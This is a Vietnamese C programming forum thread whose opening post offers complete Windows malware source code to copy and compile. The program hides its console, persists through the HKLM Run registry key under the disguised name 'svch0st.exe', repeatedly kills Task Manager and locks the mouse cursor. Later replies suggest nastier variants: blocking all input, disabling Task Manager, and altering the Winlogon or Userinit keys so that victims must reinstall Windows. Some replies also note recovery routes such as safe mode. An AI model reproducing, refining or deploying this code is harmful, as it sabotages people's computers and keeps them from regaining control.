Trang 1 trên tổng số 3 123 Cuối cùngCuối cùng
Từ 1 tới 10 trên tổng số 22 kết quả

Đề tài: Viết virus khóa chuột - Lập trình virus trên C

  1. #1
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Red face Viết virus khóa chuột - Lập trình virus trên C

    Yêu cầu ai copy paste thì ghi rõ nhé bài viết thuộc về congdongcviet nhé
    Visual C++ Code:
    1. #include <windows.h>
    2. #include <winbase.h>
    3. #include <tlhelp32.h>
    4. #include <ctype.h>
    5. #include <string.h>
    6.  
    7. #define BUFSIZE 90
    8.  
    9. int test_key(void);
    10. int create_key(char *);
    11. int kill(void);
    12.  
    13. BOOL KillProcess(LPSTR lpszExecutable)
    14. {
    15.     BOOL bResult = FALSE;
    16.     PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    17.     HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    18.     if(Process32First(hProcesses, &pe32)){
    19.         do{
    20.             if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
    21.                 if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
    22.                     TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
    23.                 }
    24.             }
    25.         }while(Process32Next(hProcesses, &pe32));
    26.         CloseHandle(hProcesses);
    27.     }
    28.     return bResult;
    29. }
    30.  
    31.  
    32.  
    33. int main(void)
    34. {
    35.     int test,create;
    36.     test=test_key();
    37.  
    38.     if (test==2)
    39.     {
    40.         char *path="c:\\WINDOWS\\svch0st.exe";
    41.         create=create_key(path);
    42.  
    43.     }
    44.  
    45. HWND inv;
    46.     AllocConsole();
    47.     inv=FindWindowA("ConsoleWindowClass",NULL);
    48.     ShowWindow(inv,0);
    49. int c;
    50. for(c=0;c<999999999999;c++)
    51. {
    52. kill();
    53. SetCursorPos(1,900);
    54. Sleep(9);
    55. }
    56. }
    57.  
    58. int test_key(void)
    59. {
    60.     int check;
    61.     HKEY hKey;
    62.     char path[BUFSIZE];
    63.     DWORD buf_length=BUFSIZE;
    64.     int reg_key;
    65.  
    66.     reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    67.     if(reg_key!=0)
    68.     {
    69.         check=1;
    70.         return check;
    71.     }
    72.  
    73.     reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
    74.  
    75.     if((reg_key!=0)||(buf_length>BUFSIZE))
    76.         check=2;
    77.     if(reg_key==0)
    78.         check=0;
    79.  
    80.     RegCloseKey(hKey);
    81.     return check;
    82. }
    83.  
    84. int create_key(char *path)
    85. {
    86.         int reg_key,check;
    87.  
    88.         HKEY hkey;
    89.  
    90.         reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
    91.         if(reg_key==0)
    92.         {
    93.                 RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
    94.                 check=0;
    95.                 return check;
    96.         }
    97.         if(reg_key!=0)
    98.                 check=1;
    99.  
    100.         return check;
    101. }
    102.  
    103. int kill(void)
    104. {
    105. return KillProcess("taskmgr.exe");
    106. }
    Đã được chỉnh sửa lần cuối bởi AlexF : 28-05-2009 lúc 07:24 AM.

  2. #2
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    @coder_gate : sao cậu không BlockInput lại cho nhanh, làm vậy chỉ cần kết hợp với disable taskmanager thì 80% là phải cài lại win
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  3. #3
    Ngày gia nhập
    10 2008
    Bài viết
    14

    Hị hị.
    Hồi trước cũng có tập tành viết virus.
    Nhưng bi h có thêm mấy cái quản lý process rồi. kiểu này cũng dễ chống lắm.
    Cái của bác coder_gate là kill lun task khi gọi thì dùng chương trình quản lý khác để kill con này. Còn nếu disable task như bác mèo nói thì vào regetry lấy lại Cách mà mún cho ng khác cài lại win nhanh nhất là reg lại key winlogon hoặc key của userinit. thằng nào không bik dùng dos là chít lun )
    Núi vẫn cứ sống mà không cần đến mây
    Sông vẫn cứ chảy mà lòng em đã đổi thay

  4. #4
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    con này củ chuối ấy mà,lâu lâu thì up lên shared thôi chứ có mấy ý nghĩa đâu

  5. #5
    Ngày gia nhập
    11 2008
    Bài viết
    5

    hay hy vọng mấy bác chỉ giáo thêm
    em đang học c mà hok hiểu ứng dụng, công dụng có thể làm gì và làm ??????
    nên nhiều khi cũng nản
    may nhờ đọc bài này thấy thay đổi hẳn

  6. #6
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Mặc định Viết virus khóa chuột - Lập trình virus trên C

    Trích dẫn Nguyên bản được gửi bởi p.o.l Xem bài viết
    Hị hị.
    Hồi trước cũng có tập tành viết virus.
    Nhưng bi h có thêm mấy cái quản lý process rồi. kiểu này cũng dễ chống lắm.
    Cái của bác coder_gate là kill lun task khi gọi thì dùng chương trình quản lý khác để kill con này. Còn nếu disable task như bác mèo nói thì vào regetry lấy lại
    Bạn vào được registry bằng cách nào khi cả bản phím và chuột đều bị đơ ? Trừ phi người dùng sửa stick key thành cmd để chạy regedit trước khi login.
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  7. #7
    Ngày gia nhập
    12 2008
    Bài viết
    17

    Trích dẫn Nguyên bản được gửi bởi meoconlongvang Xem bài viết
    @coder_gate : sao cậu không BlockInput lại cho nhanh, làm vậy chỉ cần kết hợp với disable taskmanager thì 80% là phải cài lại win
    Sao phải cài lại win cho mất công vậy.Bạn quên win còn khởi động ở chế độ safemode à.

  8. #8
    Ngày gia nhập
    03 2009
    Bài viết
    76

    Cho hỏi có mã nguồn trên rồi thì làm sao nữa???Hay là biên dịch trên máy mình luôn? Lỡ chính máy mình dính thì sao.
    Em gà lắm, đừng chọc em

  9. #9
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    dính thì xóa phát là xong chứ gì đâu,thêm nữa biên dịch trên VC++ nha

  10. #10
    Ngày gia nhập
    08 2008
    Nơi ở
    ha noi
    Bài viết
    79

    Trích dẫn Nguyên bản được gửi bởi meoconlongvang Xem bài viết
    @coder_gate : sao cậu không BlockInput lại cho nhanh, làm vậy chỉ cần kết hợp với disable taskmanager thì 80% là phải cài lại win
    cách bloginput kiểu ji vậy a mèo nói rõ cho cả nha nghe được ko vậy
    u never know

Các đề tài tương tự

  1. Ngôn ngữ lập trình để viết virus
    Gửi bởi svcntt trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 53
    Bài viết cuối: 19-12-2014, 06:26 PM
  2. Mã nguồn virus viết bằng C(củ chuối)
    Gửi bởi AlexF trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 2
    Bài viết cuối: 13-06-2013, 10:48 PM
  3. SimpleAV | Mã nguồn Anti Virus đơn giản viết trên VC++ 2005
    Gửi bởi dungcoi trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 9
    Bài viết cuối: 04-03-2013, 05:35 PM
  4. Code virus viết trên VC++ hoạt động như thế nào?
    Gửi bởi luongtankhang123 trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 9
    Bài viết cuối: 01-02-2012, 09:16 AM
  5. Mã nguồn chương trình quyét virus viết trên VC++ 2008
    Gửi bởi khanhduy301 trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 17
    Bài viết cuối: 12-01-2010, 12:45 AM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn